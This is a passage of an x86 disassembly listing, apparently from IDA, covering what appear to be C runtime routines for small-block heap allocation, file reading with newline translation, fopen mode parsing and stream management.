0FFFFFFFFh jz loc_41EF47 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41EF01 loc_41EEC7: ; CODE XREF: sub_41EE8E+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41EEEA cmp [edi+4], ebx jbe short loc_41EEEA push ebx push ecx push eax call sub_41F096 add esp, 0Ch test eax, eax jnz short loc_41EF59 mov eax, [ebp+var_4] mov [edi+4], ebx loc_41EEEA: ; CODE XREF: sub_41EE8E+40j ; sub_41EE8E+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41EEC7 jmp short loc_41EF04 ; --------------------------------------------------------------------------- loc_41EF01: ; CODE XREF: sub_41EE8E+37j mov ebx, [ebp+arg_0] loc_41EF04: ; CODE XREF: sub_41EE8E+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41EF4A loc_41EF17: ; CODE XREF: sub_41EE8E+B5j mov eax, [edi] cmp eax, ebx jl short loc_41EF36 cmp [edi+4], ebx jbe short loc_41EF36 push ebx push eax push [ebp+var_4] call sub_41F096 add esp, 0Ch test eax, eax jnz short loc_41EF59 mov [edi+4], ebx loc_41EF36: ; CODE XREF: sub_41EE8E+8Dj ; sub_41EE8E+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41EF17 jmp short loc_41EF4A ; --------------------------------------------------------------------------- loc_41EF47: ; CODE XREF: sub_41EE8E+14j mov ebx, [ebp+arg_0] loc_41EF4A: ; CODE XREF: sub_41EE8E+87j ; sub_41EE8E+B7j mov esi, [esi] cmp esi, ds:off_43EF80 jz short loc_41EF69 jmp loc_41EE9C ; --------------------------------------------------------------------------- loc_41EF59: ; CODE XREF: sub_41EE8E+54j ; sub_41EE8E+A3j mov ds:off_43EF80, esi sub [edi], ebx mov [esi+8], edi jmp loc_41F091 ; --------------------------------------------------------------------------- loc_41EF69: ; CODE XREF: sub_41EE8E+C4j mov eax, offset off_43CF60 mov edi, eax loc_41EF70: ; CODE XREF: sub_41EE8E+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41EF7C cmp dword ptr [edi+0Ch], 0 jnz short loc_41EF88 loc_41EF7C: ; CODE XREF: sub_41EE8E+E6j mov edi, [edi] cmp edi, eax jz loc_41F05D jmp short loc_41EF70 ; --------------------------------------------------------------------------- loc_41EF88: ; CODE XREF: sub_41EE8E+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41EFB7 loc_41EFA6: ; CODE XREF: sub_41EE8E+127j cmp [ebp+var_4], 10h jge short loc_41EFB7 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41EFA6 loc_41EFB7: ; CODE XREF: sub_41EE8E+116j ; sub_41EE8E+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax call ds:dword_4281C8 ; VirtualAlloc cmp eax, esi jnz loc_41F08F push 0 push [ebp+var_8] push esi call sub_41B780 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41F01E lea eax, [esi+4] mov [ebp+var_4], edx loc_41EFF4: ; CODE XREF: sub_41EE8E+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41EFF4 loc_41F01E: ; CODE XREF: sub_41EE8E+15Ej mov ds:off_43EF80, edi lea eax, [edi+2018h] loc_41F02A: ; CODE XREF: sub_41EE8E+1A8j cmp ecx, eax jnb short loc_41F03A cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41F038 add ecx, 8 jmp short loc_41F02A ; --------------------------------------------------------------------------- loc_41F038: ; CODE XREF: sub_41EE8E+1A3j cmp ecx, eax loc_41F03A: ; CODE XREF: sub_41EE8E+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41F091 ; --------------------------------------------------------------------------- loc_41F05D: ; CODE XREF: sub_41EE8E+F2j call sub_41EB96 test eax, eax jz short loc_41F08F mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov ds:off_43EF80, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41F091 ; --------------------------------------------------------------------------- loc_41F08F: ; CODE XREF: sub_41EE8E+143j ; sub_41EE8E+1D6j xor eax, eax loc_41F091: ; CODE XREF: sub_41EE8E+D6j ; sub_41EE8E+1CDj ... pop edi pop esi pop ebx leave retn sub_41EE8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F096 proc near ; CODE XREF: sub_41EE8E+4Ap ; sub_41EE8E+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41F0DB lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41F0CA add [ecx], edx sub [ecx+4], edx jmp short loc_41F0D3 ; --------------------------------------------------------------------------- loc_41F0CA: ; CODE XREF: sub_41F096+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41F0D3: ; CODE XREF: sub_41F096+32j lea eax, [edi+8] jmp loc_41F1A9 ; --------------------------------------------------------------------------- loc_41F0DB: ; CODE XREF: sub_41F096+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41F0E4 mov eax, esi loc_41F0E4: ; CODE XREF: sub_41F096+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41F12E loc_41F0EB: ; CODE XREF: sub_41F096+96j mov bl, [eax] test bl, bl jnz short loc_41F121 push 1 lea ebx, [eax+1] pop esi loc_41F0F7: ; CODE XREF: sub_41F096+68j cmp byte ptr [ebx], 0 jnz short loc_41F100 inc ebx inc esi jmp short loc_41F0F7 ; --------------------------------------------------------------------------- loc_41F100: ; CODE XREF: sub_41F096+64j cmp esi, edx jnb short loc_41F152 cmp eax, [ebp+var_4] jnz short loc_41F10E mov [ecx+4], esi jmp short loc_41F11A ; --------------------------------------------------------------------------- loc_41F10E: ; CODE XREF: sub_41F096+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41F1B3 loc_41F11A: ; CODE XREF: sub_41F096+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41F126 ; --------------------------------------------------------------------------- loc_41F121: ; CODE XREF: sub_41F096+59j movzx esi, bl add eax, esi loc_41F126: ; CODE XREF: sub_41F096+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41F0EB loc_41F12E: ; CODE XREF: sub_41F096+53j lea esi, [ecx+8] loc_41F131: ; CODE XREF: sub_41F096+EBj ; sub_41F096+F2j cmp esi, edi jnb short loc_41F1B3 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41F1B3 mov al, [esi] test al, al jnz short loc_41F183 push 1 lea ebx, [esi+1] pop eax loc_41F149: ; CODE XREF: sub_41F096+BAj cmp byte ptr [ebx], 0 jnz short loc_41F173 inc ebx inc eax jmp short loc_41F149 ; --------------------------------------------------------------------------- loc_41F152: ; CODE XREF: sub_41F096+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41F163 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41F16C ; --------------------------------------------------------------------------- loc_41F163: ; CODE XREF: sub_41F096+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41F16C: ; CODE XREF: sub_41F096+CBj mov [eax], dl add eax, 8 jmp short loc_41F1A9 ; --------------------------------------------------------------------------- loc_41F173: ; CODE XREF: sub_41F096+B6j cmp eax, edx jnb short loc_41F18A sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41F1B3 mov esi, ebx jmp short loc_41F131 ; --------------------------------------------------------------------------- loc_41F183: ; CODE XREF: sub_41F096+ABj movzx eax, al add esi, eax jmp short loc_41F131 ; --------------------------------------------------------------------------- loc_41F18A: ; CODE XREF: sub_41F096+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41F19B sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41F1A4 ; --------------------------------------------------------------------------- loc_41F19B: ; CODE XREF: sub_41F096+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41F1A4: ; CODE XREF: sub_41F096+103j mov [esi], dl lea eax, [esi+8] loc_41F1A9: ; CODE XREF: sub_41F096+40j ; sub_41F096+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41F1B5 ; --------------------------------------------------------------------------- loc_41F1B3: ; CODE XREF: sub_41F096+7Ej ; sub_41F096+9Dj ... xor eax, eax loc_41F1B5: ; CODE XREF: sub_41F096+11Bj pop edi pop esi pop ebx leave retn sub_41F096 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F1BA proc near ; CODE XREF: sub_41B3F2+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41F1F4 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41F254 ; --------------------------------------------------------------------------- loc_41F1F4: ; CODE XREF: sub_41F1BA+26j jnb short loc_41F25B mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41F25B lea eax, [ecx+edx] loc_41F209: ; CODE XREF: sub_41F1BA+59j cmp eax, esi jnb short loc_41F217 cmp byte ptr [eax], 0 jnz short loc_41F215 inc eax jmp short loc_41F209 ; --------------------------------------------------------------------------- loc_41F215: ; CODE XREF: sub_41F1BA+56j cmp eax, esi loc_41F217: ; CODE XREF: sub_41F1BA+51j jnz short loc_41F25B mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41F24F cmp esi, eax jbe short loc_41F24F lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41F246 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41F241 loc_41F23A: ; CODE XREF: sub_41F1BA+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41F23A loc_41F241: ; CODE XREF: sub_41F1BA+7Ej mov [ebx+4], eax jmp short loc_41F24F ; --------------------------------------------------------------------------- loc_41F246: ; CODE XREF: sub_41F1BA+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41F24F: ; CODE XREF: sub_41F1BA+68j ; sub_41F1BA+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41F254: ; CODE XREF: sub_41F1BA+38j mov [ebp+var_4], 1 loc_41F25B: ; CODE XREF: sub_41F1BA:loc_41F1F4j ; sub_41F1BA+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41F1BA endp ; =============== S U B R O U T I N E ======================================= sub_41F263 proc near ; CODE XREF: sub_41B30A+A9p ; sub_41BD3F+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41F337 test al, 40h jnz loc_41F337 test al, 2 jz short loc_41F289 or al, 20h mov [esi+0Ch], eax jmp loc_41F337 ; --------------------------------------------------------------------------- loc_41F289: ; CODE XREF: sub_41F263+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F29D push esi call sub_423C3A pop ecx jmp short loc_41F2A2 ; --------------------------------------------------------------------------- loc_41F29D: ; CODE XREF: sub_41F263+2Fj mov eax, [esi+8] mov [esi], eax loc_41F2A2: ; CODE XREF: sub_41F263+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41F33C add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41F326 cmp eax, 0FFFFFFFFh jz short loc_41F326 mov edx, [esi+0Ch] test dl, 82h jnz short loc_41F2FB mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41F2E4 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, ds:dword_4DE1E0[edi*4] lea edi, [edi+ecx*8] jmp short loc_41F2E9 ; --------------------------------------------------------------------------- loc_41F2E4: ; CODE XREF: sub_41F263+6Bj mov edi, offset dword_43F860 loc_41F2E9: ; CODE XREF: sub_41F263+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41F2FB or dh, 20h mov [esi+0Ch], edx loc_41F2FB: ; CODE XREF: sub_41F263+62j ; sub_41F263+90j cmp dword ptr [esi+18h], 200h jnz short loc_41F318 mov ecx, [esi+0Ch] test cl, 8 jz short loc_41F318 test ch, 4 jnz short loc_41F318 mov dword ptr [esi+18h], 1000h loc_41F318: ; CODE XREF: sub_41F263+9Fj ; sub_41F263+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41F326: ; CODE XREF: sub_41F263+55j ; sub_41F263+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41F337: ; CODE XREF: sub_41F263+Aj ; sub_41F263+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41F263 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F33C proc near ; CODE XREF: sub_41B30A+90p ; sub_41F263+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, ds:dword_4DE2E0 jnb loc_41F519 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4DE1E0h[eax*4] mov eax, ds:dword_4DE1E0[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41F519 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41F3F1 test dl, 2 jnz short loc_41F3F1 test dl, 48h jz short loc_41F3B1 mov al, [eax+5] cmp al, 0Ah jz short loc_41F3B1 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41F3B1: ; CODE XREF: sub_41F33C+56j ; sub_41F33C+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] call ds:dword_4280E8 ; ReadFile test eax, eax jnz short loc_41F404 call ds:dword_42808C ; RtlGetLastWin32Error push 5 pop ecx cmp eax, ecx jnz short loc_41F3EC mov ds:dword_4DDEB4, 9 mov ds:dword_4DDEB8, ecx jmp loc_41F52A ; --------------------------------------------------------------------------- loc_41F3EC: ; CODE XREF: sub_41F33C+99j cmp eax, 6Dh jnz short loc_41F3F8 loc_41F3F1: ; CODE XREF: sub_41F33C+4Cj ; sub_41F33C+51j xor eax, eax jmp loc_41F52D ; --------------------------------------------------------------------------- loc_41F3F8: ; CODE XREF: sub_41F33C+B3j push eax call sub_4205FF pop ecx jmp loc_41F52A ; --------------------------------------------------------------------------- loc_41F404: ; CODE XREF: sub_41F33C+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41F514 test edx, edx jz short loc_41F429 cmp byte ptr [edi], 0Ah jnz short loc_41F429 or al, 4 jmp short loc_41F42B ; --------------------------------------------------------------------------- loc_41F429: ; CODE XREF: sub_41F33C+E2j ; sub_41F33C+E7j and al, 0FBh loc_41F42B: ; CODE XREF: sub_41F33C+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41F50E loc_41F443: ; CODE XREF: sub_41F33C+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41F4FE cmp al, 0Dh jz short loc_41F45F mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41F4F0 ; --------------------------------------------------------------------------- loc_41F45F: ; CODE XREF: sub_41F33C+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41F47D mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41F474 add [ebp+arg_8], 2 jmp short loc_41F4D2 ; --------------------------------------------------------------------------- loc_41F474: ; CODE XREF: sub_41F33C+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41F4F0 ; --------------------------------------------------------------------------- loc_41F47D: ; CODE XREF: sub_41F33C+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call ds:dword_4280E8 ; ReadFile test eax, eax jnz short loc_41F4A5 call ds:dword_42808C ; RtlGetLastWin32Error test eax, eax jnz short loc_41F4EC loc_41F4A5: ; CODE XREF: sub_41F33C+15Dj cmp [ebp+var_C], 0 jz short loc_41F4EC mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41F4C7 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41F4D2 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41F4F0 ; --------------------------------------------------------------------------- loc_41F4C7: ; CODE XREF: sub_41F33C+176j cmp edi, [ebp+arg_4] jnz short loc_41F4D7 cmp [ebp+var_1], 0Ah jnz short loc_41F4D7 loc_41F4D2: ; CODE XREF: sub_41F33C+136j ; sub_41F33C+17Dj mov byte ptr [edi], 0Ah jmp short loc_41F4EF ; --------------------------------------------------------------------------- loc_41F4D7: ; CODE XREF: sub_41F33C+18Ej ; sub_41F33C+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_422A04 add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41F4F0 loc_41F4EC: ; CODE XREF: sub_41F33C+167j ; sub_41F33C+16Dj mov byte ptr [edi], 0Dh loc_41F4EF: ; CODE XREF: sub_41F33C+199j inc edi loc_41F4F0: ; CODE XREF: sub_41F33C+11Ej ; sub_41F33C+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41F443 jmp short loc_41F50E ; --------------------------------------------------------------------------- loc_41F4FE: ; CODE XREF: sub_41F33C+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41F50E or al, 2 mov [esi], al loc_41F50E: ; CODE XREF: sub_41F33C+101j ; sub_41F33C+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41F514: ; CODE XREF: sub_41F33C+DAj mov eax, [ebp+var_8] jmp short loc_41F52D ; --------------------------------------------------------------------------- loc_41F519: ; CODE XREF: sub_41F33C+12j ; sub_41F33C+39j and ds:dword_4DDEB8, 0 mov ds:dword_4DDEB4, 9 loc_41F52A: ; CODE XREF: sub_41F33C+ABj ; sub_41F33C+C3j or eax, 0FFFFFFFFh loc_41F52D: ; CODE XREF: sub_41F33C+B7j ; sub_41F33C+1DBj pop edi pop esi pop ebx leave retn sub_41F33C endp ; =============== S U B R O U T I N E ======================================= sub_41F532 proc near ; CODE XREF: sub_41B3F2+126p ; sub_41B3F2+24Bp ... arg_0 = dword ptr 4 mov eax, ds:dword_4DDF38 test eax, eax jz short loc_41F54A push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41F54A push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41F54A: ; CODE XREF: sub_41F532+7j ; sub_41F532+12j xor eax, eax retn sub_41F532 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F54D proc near ; CODE XREF: sub_41B692+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, ds:dword_4DE0A4 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41F586 cmp al, 72h jz short loc_41F57F cmp al, 77h jnz loc_41F69A mov ecx, 301h jmp short loc_41F58B ; --------------------------------------------------------------------------- loc_41F57F: ; CODE XREF: sub_41F54D+21j xor ecx, ecx or esi, 1 jmp short loc_41F58E ; --------------------------------------------------------------------------- loc_41F586: ; CODE XREF: sub_41F54D+1Dj mov ecx, 109h loc_41F58B: ; CODE XREF: sub_41F54D+30j or esi, 2 loc_41F58E: ; CODE XREF: sub_41F54D+37j push 1 pop edx loc_41F591: ; CODE XREF: sub_41F54D+8Bj ; sub_41F54D+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41F680 cmp edx, ebx jz loc_41F680 movsx eax, al cmp eax, 54h jg short loc_41F61F jz short loc_41F60F sub eax, 2Bh jz short loc_41F5F9 sub eax, 19h jz short loc_41F5EF sub eax, 0Eh jz short loc_41F5DA dec eax jnz loc_41F671 cmp [ebp+var_4], ebx jnz loc_41F671 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41F591 ; --------------------------------------------------------------------------- loc_41F5DA: ; CODE XREF: sub_41F54D+6Fj cmp [ebp+var_4], ebx jnz loc_41F671 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41F591 ; --------------------------------------------------------------------------- loc_41F5EF: ; CODE XREF: sub_41F54D+6Aj test cl, 40h jnz short loc_41F671 or ecx, 40h jmp short loc_41F591 ; --------------------------------------------------------------------------- loc_41F5F9: ; CODE XREF: sub_41F54D+65j test cl, 2 jnz short loc_41F671 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41F591 ; --------------------------------------------------------------------------- loc_41F60F: ; CODE XREF: sub_41F54D+60j mov eax, 1000h test ecx, eax jnz short loc_41F671 or ecx, eax jmp loc_41F591 ; --------------------------------------------------------------------------- loc_41F61F: ; CODE XREF: sub_41F54D+5Ej sub eax, 62h jz short loc_41F66C dec eax jz short loc_41F655 sub eax, 0Bh jz short loc_41F63E sub eax, 6 jnz short loc_41F671 test ch, 0C0h jnz short loc_41F671 or ch, 40h jmp loc_41F591 ; --------------------------------------------------------------------------- loc_41F63E: ; CODE XREF: sub_41F54D+DDj cmp [ebp+var_8], ebx jnz short loc_41F671 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41F591 ; --------------------------------------------------------------------------- loc_41F655: ; CODE XREF: sub_41F54D+D8j cmp [ebp+var_8], ebx jnz short loc_41F671 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41F591 ; --------------------------------------------------------------------------- loc_41F66C: ; CODE XREF: sub_41F54D+D5j test ch, 0C0h jz short loc_41F678 loc_41F671: ; CODE XREF: sub_41F54D+72j ; sub_41F54D+7Bj ... xor edx, edx jmp loc_41F591 ; --------------------------------------------------------------------------- loc_41F678: ; CODE XREF: sub_41F54D+122j or ch, 80h jmp loc_41F591 ; --------------------------------------------------------------------------- loc_41F680: ; CODE XREF: sub_41F54D+4Aj ; sub_41F54D+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_423C7E mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41F69E loc_41F69A: ; CODE XREF: sub_41F54D+25j xor eax, eax jmp short loc_41F6B8 ; --------------------------------------------------------------------------- loc_41F69E: ; CODE XREF: sub_41F54D+14Bj mov eax, [ebp+arg_C] inc ds:dword_4DDF8C mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41F6B8: ; CODE XREF: sub_41F54D+14Fj pop edi pop esi pop ebx leave retn sub_41F54D endp ; =============== S U B R O U T I N E ======================================= sub_41F6BD proc near ; CODE XREF: sub_41B692p mov edx, ds:dword_4DF300 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41F72E mov ebx, ds:dword_4DE2E4 mov edi, ebx loc_41F6D9: ; CODE XREF: sub_41F6BD+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41F6F4 test byte ptr [ecx+0Ch], 83h jz short loc_41F6EF inc eax add edi, 4 cmp eax, edx jl short loc_41F6D9 jmp short loc_41F72E ; --------------------------------------------------------------------------- loc_41F6EF: ; CODE XREF: sub_41F6BD+26j mov esi, [ebx+eax*4] jmp short loc_41F718 ; --------------------------------------------------------------------------- loc_41F6F4: ; CODE XREF: sub_41F6BD+20j mov edi, eax push 20h shl edi, 2 call sub_41B6C5 pop ecx mov ecx, ds:dword_4DE2E4 mov [edi+ecx], eax mov eax, ds:dword_4DE2E4 mov edi, [edi+eax] cmp edi, ebp jz short loc_41F72E mov esi, edi loc_41F718: ; CODE XREF: sub_41F6BD+35j cmp esi, ebp jz short loc_41F72E or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41F72E: ; CODE XREF: sub_41F6BD+12j ; sub_41F6BD+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41F6BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F735 proc near ; CODE XREF: sub_41B8DE+17p ; sub_41B8DE+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41F753 mov ecx, ds:off_43EF88 movzx eax, word ptr [ecx+eax*2] jmp short loc_41F7A5 ; --------------------------------------------------------------------------- loc_41F753: ; CODE XREF: sub_41F735+10j mov ecx, eax push esi mov esi, ds:off_43EF88 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41F778 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41F781 ; --------------------------------------------------------------------------- loc_41F778: ; CODE XREF: sub_41F735+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41F781: ; CODE XREF: sub_41F735+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call loc_423F37 add esp, 1Ch test eax, eax jnz short loc_41F7A1 leave retn ; --------------------------------------------------------------------------- loc_41F7A1: ; CODE XREF: sub_41F735+68j movzx eax, word ptr [ebp+arg_0+2] loc_41F7A5: ; CODE XREF: sub_41F735+1Cj and eax, [ebp+arg_4] leave retn sub_41F735 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F7AA proc near ; CODE XREF: sub_41BA76+46p ; sub_41BB70+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_41F8B3 test al, 40h jnz loc_41F8B3 test al, 1 jz short loc_41F7E2 and dword ptr [esi+4], 0 test al, 10h jz loc_41F8B3 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_41F7E2: ; CODE XREF: sub_41F7AA+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F81C cmp esi, offset dword_43F578 jz short loc_41F80A cmp esi, offset dword_43F598 jnz short loc_41F815 loc_41F80A: ; CODE XREF: sub_41F7AA+56j push ebx call sub_424080 test eax, eax pop ecx jnz short loc_41F81C loc_41F815: ; CODE XREF: sub_41F7AA+5Ej push esi call sub_423C3A pop ecx loc_41F81C: ; CODE XREF: sub_41F7AA+4Ej ; sub_41F7AA+69j test word ptr [esi+0Ch], 108h push edi jz short loc_41F889 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test 